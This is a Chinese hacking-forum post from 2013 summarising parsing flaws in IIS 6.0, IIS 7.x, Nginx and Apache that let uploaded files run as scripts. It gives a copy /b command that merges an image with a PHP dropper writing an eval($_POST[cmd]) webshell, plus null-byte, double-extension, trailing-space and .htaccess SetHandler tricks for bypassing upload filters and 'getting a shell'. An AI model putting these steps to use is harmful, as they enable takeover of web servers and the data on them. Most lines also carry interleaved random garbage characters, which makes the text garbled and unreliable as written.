找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2522|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
6 K) x6 M9 n" m  R/ @[+]IIS6.0" k( x8 C7 Z8 C4 ?. k
8 M+ R& B  k+ H0 }/ J
目录解析:/xx.asp/xx.jpg
2 {, G5 p$ W0 b. N0 ^2 e! q8 D xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码8 }. f6 r' D  \3 t3 o! R  x1 E
IIS6.0 会将 xx.jpg 解析为 asp 文件。
( {$ n) p; a2 A( e* _+ i; S9 y/ |1 ]后缀解析:/xx.asp;.jpg     9 T8 K" Z; T" n+ V; M9 u/ n
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。/ M7 K" S. b0 t; O$ u: ^* X
默认解析:/xx.asa+ J/ g2 R& w) i. m4 s; \6 D
         /xx.cer
  Z. S) k- _7 p* P0 H* ]% e6 c         /xx.cdx9 ]( s/ B0 S* p" }' ?4 L. C/ W
IIS6.0 默认的可执行文件除了 asp 还包含这三种+ G- B7 o3 Y9 f4 }, D# d2 E
此处可联系利用目录解析漏洞
0 f' P# E$ n- _! n1 |# g/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg9 _  |! H  `* N' ~* a
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03* w, ?* @! l& i0 L5 s7 ^( Z
* x8 w! k3 K% C1 w7 K9 x- H5 T5 X3 @
IIS 7.0/IIS 7.5/Nginx <0.8.03. f- {  ]( v* t0 I) \3 G
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
& R: Y  q# M% U# I. ]* d4 u  d 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
6 V0 U5 Q; U9 P( a( u) [" r! ` 常用利用方法:; b- P  I* d* T9 m- [
将一张图和一个写入后门代码的文本文件合并将恶意文本
3 K; S2 V2 `& j( J3 { 写入图片的二进制代码之后,避免破坏图片文件头和尾7 a3 j6 ?6 T- v: H  ^  Z
如:) O$ g7 m; D' x) k0 ?2 K
copy xx.jpg /b + yy.txt/a xy.jpg
- \$ \" m0 A: T( P% P; t% O9 g #########################################################
4 f3 ~7 H; B  S0 Q8 j /b 即二进制[binary]模式' \& F7 w: R% _, p$ I/ I9 h
/a 即ascii模式' K/ @% b5 c7 p( M
xx.jpg 正常图片文件
1 B' T: q3 W+ E- M, h3 x" e yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),8 A) @: x- C% t
'<?php eval($_POST[cmd])?>');?>
& E4 `2 C+ e9 v 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
, v8 G* @' e2 g% a4 Q 为shell.php的文件
. `- D; I3 U& _+ S+ [ ###########################################################
5 H6 r' i+ e. i% A& c 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
' V) V* p8 k9 ~: f* I! X 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php * [; q# H" G* }8 S& B
密码 cmd  ^9 i& o2 G* ~
[+]Nginx <0.8.03
% |" n. l! H0 `
0 A" E) ~, U" g+ b& W 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞  i7 b) w5 f, c' p/ {+ `
在一个文件路径(/xx.jpg)后面加上%00.php
! K: Z6 Z" o3 ~' `) e; V( L& [ 会将 /xx.jpg%00.php 解析为 php 文件。
9 U. I# N+ s2 k  }4 v[+]Apache<0.8.03/ y! ^1 {) c# |
% a6 ~6 p0 M2 U- K" u
后缀解析:test.php.x1.x2.x3$ a7 i, d9 t' o: |5 g: T1 }( F
Apache将从右至左开始判断后缀,若x3非可识别后缀,1 X9 K4 A! b# u5 e1 ?* v+ |
再判断x2,直到找到可识别后缀为止,然后将该可识别2 r0 W3 z! ?( C
后缀进解析test.php.x1.x2.x3 则会被解析为php7 y* W5 [. U1 \9 r3 Q7 h$ E
经验之谈:php|php3|phtml 多可被Apache解析。  _6 v+ B5 B9 H9 c6 ~$ @% _1 l
[+]其他一些可利用的* F& n) B% `; f, [

0 O- X7 _; B, t$ a3 B在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
- p9 x4 r( F. n' g* f若这样命名,windows会默认除去空格或点,这也是可以被利用的!% D2 n# `4 Y1 _$ |9 ~
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格* w& ]' U/ m$ D. j* j6 w0 H
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
% {1 x% m7 B8 G4 k; e得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。6 w' e, ~% q; |+ R6 z# D
{Linux主机中不行,Linux允许这类文件存在}
2 ~8 V; Z& @0 U0 p' j如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
. p5 L, ~2 V$ j的,当初我并不知道),且可以被上传,那可以尝试在/ w2 R; v. K" u5 m9 a* U% J7 L
.htaccess中写入:
# w! S2 X# ]8 w<FilesMatch “shell.jpg”>
% ]& T5 W0 W" PSetHandler application/x-httpd-php ) ]3 D; M# a* H. m* m% w8 j
</FilesMatch>
: L) P2 A8 R$ ]& R# Gshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
" F' f  G: U3 I9 T[+]错误修改* Z" ]( ?" Z6 {6 H, |9 v& X3 i

8 v, P, ~; t4 ]: h在 IIS 6.0 下可解析 /xx.asp:.jpg( g/ Y$ O. Y2 N5 f- `: b
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去, A8 E4 n7 I) ~! S; m& a
剩下/xx.asp}修改:) e) b9 J. x; R% p+ ~" E$ s
先谢谢核攻击的提醒
' d8 o, P6 }: c. L# M4 W1 Z& ~当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
: Q- ^0 G! U# W9 l% \里是没有任何内容的,因为。。不好解释 大家自己看
! N5 X# _- U  ^2 f8 W% G$ rhttp://lcx.cc/?i=2448
* y8 n% `- N" c& Ghttp://baike.baidu.com/view/3619593.htm1 H/ h) z3 |/ p; `: U& l5 |' b
5 @% f$ W7 i6 N# r7 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表